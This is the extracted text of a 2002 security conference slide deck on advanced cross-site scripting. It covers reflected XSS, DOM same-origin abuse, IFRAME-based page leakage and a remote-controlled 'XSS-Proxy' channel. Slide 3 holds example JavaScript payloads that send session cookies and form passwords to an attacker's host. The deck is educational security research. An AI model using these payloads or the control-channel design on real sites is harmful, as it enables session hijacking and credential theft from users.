Copyright© 2002 Avaya Inc. All rights reserved Advanced Cross Site Scripting Evil XSS Anton Rager

2 Cross Site Scripting 1 st Gen XSS was against public sites and ran against everyone that visited site –attacker uploads script content that everyone visiting page execs –Popups, redirects other annoyances –Relayed cookies to attacker 2 nd Gen XSS focuses on sites that allow self-reflection XSS –User input modifies resulting page and can inject script commands into returned page (site search and echoed results) –Normally chained with a 1 st Gen attack on public site/ for site redirection with redirection URL forcing a XSS on 2 nd site –Cookies and other site-specific browser info leaked to attacker

3 Cross Site Scripting Types of information leakage –Client can reveal cookies to 3 rd party (session state, order info, etc) document.location=' curity.com/cgi-bin/cookie.cgi? '%20+document.cookie –Client can reveal posted form items to 3 rd party (userID/passwd, etc) action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=' ue'+':'+ document.forms(1).password.value;" –Client can be tricked into accessing/posting spoofed info to trusted server = –Client can be tricked into attacking other sites /hello.asp?name =

4 Cross Site Scripting (XSS) Client redirected to site via /other XSS site client sends request to server with XSS tags Server sends response with XSS “commands” Client executes XSS to 3 rd party, server or both (Info Leak / Trust Leverage) Single Client Reflection Target Client Attacker Server Server with XSS reflection Attacking Client Server with XSS reflection Other Clients Multi Client Reflection Public display Attacker Server Server with XSS reflection Private display Client requests page Update page with XSS tags Server sends response with XSS commands Client executes XSS to 3 rd party, server or both (Info Leak / Trust Leverage / Client Redirection)

5 Limitations of these attacks Usually only get one transaction with XSS code against vulnerable site Most attacks are only focused on collecting cookies POST based forms are seldom leveraged – almost always use GET methods Attacker does not know actual responses to client –Some experts recommend using POST, hidden form inputs and other session state info to limit XSS risks….

6 DOM Security Overview Child Windows and same site trust Scripts can interact between the two windows Script content can be loaded from anywhere (RPC/Remote scripting is common) Images can be loaded from anywhere Javascript can either be within tags, loaded elsewhere via, or attacked to many tags Form GET/POST can be to another site or a javascript action XSS allows DOM abuse, but still follows DOM rules

7 IntraWindow/IFRAME Impacts Script can read all HTML content/tags in other window Script can set/delete tags/content in other window. We can read and set form values, then run a submit() Script can set vars and call functions in other window Document.write can allow script to create new tags/content in other window This means that a script can read all HTML contents of a document, change the appearance of the document, modify exiting tags/and values, modify and submit forms. We have full control of the other window as long it’s in same document.domain If we can forward cookies, then we can also forward other jscript accessible content to an attacker. We can forward page contents, form values (including hidden…) jscript vars/state, jscript errors.

8 Load/Read/Forward Overview DOM security allows a script to interact with windows it creates if they are still within the same document.domain (same site, same protocol, same port number). DOM security should block script access to documents outside the document.domain of the script (document that loaded it) We create a new window and set the location to the same site that we can already XSS – some other directory/or document on same site –Can either use a new window created by XSS or an inline frame –Popup blockers make script based window creation harder, but still works and can be treated like another window If the DOM security is met when we open content (same site…), then we can read/write to the new window. We just need some glue to open a list of documents, read the contents and forward the results somewhere – our code will run in original window, documents will be loaded in IFRAME/child window, and our code will be able to read/write the document in the IFRAME

9 Static XSS content leakage (IFRAME) Victim Browser XSS against site IFRAME Script commands run here Other documents on site loaded into here XSS Vulnerable Server Attacker System

10 XSS and intrawindow trust A complex XSS vector could load multiple pages, handle GET and POST submits, determine jscript vars and modify page contents with content in other window We can leak contents of pages, form values, results from submits and jscript vars as URL parameters with and other tag refs to attacker site Downside is that it’s not interactive and we have to hardcode actions that will work for all XSS victims

11 Controlled XSS – RPC based We can load external script with a tag This can be used to leak document/var info (like the common cookie leakage with ) and if we supply script contents back they will be executed. We have a two way channel – victim leaks info to us and we can tell victim what to do next all in the same request. This can simplify the initial XSS vector to a simple that loads the more complex script remotely This also allows script contents to be customized or updated as attacker learns more about specific site/victims

12 Dynamic XSS with 2way comms (IFRAME) Victim Browser XSS against site IFRAME Script commands run here Other documents on site loaded into here XSS Vulnerable Server Attacker System New jscript….

13 Advanced XSS - Hiding IP/location of attack host Uses 1 XSS site for controlling window 3 IFRAMEs in main window –1 for load/read on original XSS site (normal XSS-Proxy) –1 for loading second XSS site with special vector (+subIframe) –1 for communications channel Still have capability to load/read docs of that XSS site in IFRAME1 New site gets loaded into IFRAME2 and creates another IFRAME within for loading docs on site2 IFRAME3 becomes a covert channel by having site change current location to point to a URL that will 404. URL is actually the covert contents and gives control to the other site for next redirect of IFRAME3. Site1 gets commands from remote attacker, sets IFRAME3 to site2 URL with commands in URL. Site2 has control of IFRAME3, so reads the current location to determine commands/tasks to run. Upon completion of tasks, Site2 changes IFRAME3 to Site1 location and leaks results on new URL. Site1 now has control, so reads URL, forwards results to remote attacker, and gives new commands across IFRAME3

14 Visual – Window based and IFRAME based Victim Browser XSS against site IFRAME1 Script commands run here Site1 documents loaded into here XSS Site1 Server Attacker System IFRAME2 IFRAME3 “Channel” – set to other site with info in URL (404) Site2 documents loaded into here Script XSS Site1 Server XSS

15 Controlled XSS impacts Read/Set arbitrary variables Read/Set contents of documents (and forms) Form submission (POST/GET) Possible to download binary content (XMLHTTP) Leverage non-cookie based trusts – potential escalation of privs HTTP Proxy capabilities to remote site? (XMLHTTP) Browser Zombies MITM when user goes to one of our XSS controlled sites DDoS potential Transfer victim to other XSS vulnerable sites Masqueraded site hacking – Nikto via XSS? Cross Site Request Forging (CSRF) CSRF + XSS Fuzz with validation A Giant Jscript cluster

16 Implications How do you know if you have XSSWare running? How much do you trust the site you are logged into? Do you know if the responses from a site are actually the site, or XSSWare MITMing you? If you are running a site, how do you know that a specific browser is actually the attacker?

17 More Info Xss-proxy and slides – Anton Rager –